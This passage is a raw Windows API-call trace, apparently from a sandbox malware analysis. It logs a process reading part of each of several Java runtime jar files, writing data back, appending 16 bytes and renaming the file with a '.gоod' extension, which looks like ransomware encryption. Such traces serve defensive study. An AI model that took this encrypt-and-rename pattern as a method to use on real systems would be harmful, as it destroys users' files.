[0111.343] GetFileType (hFile=0x7b4) returned 0x1 [0111.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0111.343] GetFileType (hFile=0x7b4) returned 0x1 [0111.343] WriteFile (in: hFile=0x7b4, lpBuffer=0x340bd68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x340bd68*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0111.343] CloseHandle (hObject=0x7b4) returned 1 [0111.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0111.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.gоod", lpFilePart=0x0) returned 0x3b [0111.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0111.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3e9421db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1edd5e)) returned 1 [0111.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0111.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.gоod")) returned 1 [0111.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0111.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0111.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), fInfoLevelId=0x0, lpFileInformation=0x348a3a0 | out: lpFileInformation=0x348a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9)) returned 1 [0111.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0112.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0112.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0112.198] GetFileType (hFile=0x7e8) returned 0x1 [0112.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.198] GetFileType (hFile=0x7e8) returned 0x1 [0112.198] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0112.198] ReadFile (in: hFile=0x7e8, lpBuffer=0x37a9760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x37a9760*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0112.199] CloseHandle (hObject=0x7e8) returned 1 [0112.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0112.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0112.200] GetFileType (hFile=0x7e8) returned 0x1 [0112.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.200] GetFileType (hFile=0x7e8) returned 0x1 [0112.200] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0xa4c9 [0112.200] WriteFile (in: hFile=0x7e8, lpBuffer=0x37aa9d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x37aa9d0*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0112.200] CloseHandle (hObject=0x7e8) returned 1 [0112.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0112.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0112.201] GetFileType (hFile=0x7e8) returned 0x1 [0112.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.201] GetFileType (hFile=0x7e8) returned 0x1 [0112.201] ReadFile (in: hFile=0x7e8, lpBuffer=0x37acc88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x37acc88*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0112.358] CloseHandle (hObject=0x7e8) returned 1 [0112.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0112.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e8 [0112.358] GetFileType (hFile=0x7e8) returned 0x1 [0112.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.359] GetFileType (hFile=0x7e8) returned 0x1 [0112.359] WriteFile (in: hFile=0x7e8, lpBuffer=0x34102d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x34102d0*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0112.359] CloseHandle (hObject=0x7e8) returned 1 [0112.359] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x0) returned 0x34 [0112.359] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.gоod", lpFilePart=0x0) returned 0x39 [0112.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0112.359] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f2f1ad0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa4d9)) returned 1 [0112.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0112.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.gоod")) returned 1 [0112.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0112.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), fInfoLevelId=0x0, lpFileInformation=0x3488158 | out: lpFileInformation=0x3488158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661)) returned 1 [0112.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0112.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.917] GetFileType (hFile=0x6e0) returned 0x1 [0112.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.917] GetFileType (hFile=0x6e0) returned 0x1 [0112.917] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0112.917] ReadFile (in: hFile=0x6e0, lpBuffer=0x345c7e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x345c7e8*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0112.918] CloseHandle (hObject=0x6e0) returned 1 [0112.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.918] GetFileType (hFile=0x6e0) returned 0x1 [0112.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.919] GetFileType (hFile=0x6e0) returned 0x1 [0112.919] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x44661 [0112.919] WriteFile (in: hFile=0x6e0, lpBuffer=0x345da78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x345da78*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0112.920] CloseHandle (hObject=0x6e0) returned 1 [0112.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.920] GetFileType (hFile=0x6e0) returned 0x1 [0112.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.920] GetFileType (hFile=0x6e0) returned 0x1 [0112.920] ReadFile (in: hFile=0x6e0, lpBuffer=0x345fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x345fd30*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0112.949] CloseHandle (hObject=0x6e0) returned 1 [0112.949] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0112.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.950] GetFileType (hFile=0x6e0) returned 0x1 [0112.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0112.950] GetFileType (hFile=0x6e0) returned 0x1 [0112.950] WriteFile (in: hFile=0x6e0, lpBuffer=0x345ea90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x345ea90*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0112.950] CloseHandle (hObject=0x6e0) returned 1 [0112.950] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x0) returned 0x3e [0112.950] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.gоod", lpFilePart=0x0) returned 0x43 [0112.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0112.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f89b1fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44671)) returned 1 [0112.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0112.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.gоod")) returned 1 [0112.951] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0112.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0112.951] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), fInfoLevelId=0x0, lpFileInformation=0x34dd128 | out: lpFileInformation=0x34dd128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb)) returned 1 [0114.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0114.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0114.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.042] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0114.043] GetFileType (hFile=0x768) returned 0x1 [0114.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.043] GetFileType (hFile=0x768) returned 0x1 [0114.043] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0114.043] ReadFile (in: hFile=0x768, lpBuffer=0x3516670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3516670*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0114.044] CloseHandle (hObject=0x768) returned 1 [0114.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0114.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0114.045] GetFileType (hFile=0x768) returned 0x1 [0114.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.045] GetFileType (hFile=0x768) returned 0x1 [0114.045] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x7fbb [0114.045] WriteFile (in: hFile=0x768, lpBuffer=0x35178f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x35178f0*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0114.160] CloseHandle (hObject=0x768) returned 1 [0114.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0114.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.160] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0114.160] GetFileType (hFile=0x768) returned 0x1 [0114.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.160] GetFileType (hFile=0x768) returned 0x1 [0114.160] ReadFile (in: hFile=0x768, lpBuffer=0x36119d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x36119d8*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0114.190] CloseHandle (hObject=0x768) returned 1 [0114.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0114.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0114.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0114.191] GetFileType (hFile=0x768) returned 0x1 [0114.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0114.191] GetFileType (hFile=0x768) returned 0x1 [0114.191] WriteFile (in: hFile=0x768, lpBuffer=0x3610748*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x3610748*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0114.191] CloseHandle (hObject=0x768) returned 1 [0114.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x0) returned 0x38 [0114.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.gоod", lpFilePart=0x0) returned 0x3d [0114.191] SetThreadErrorMode 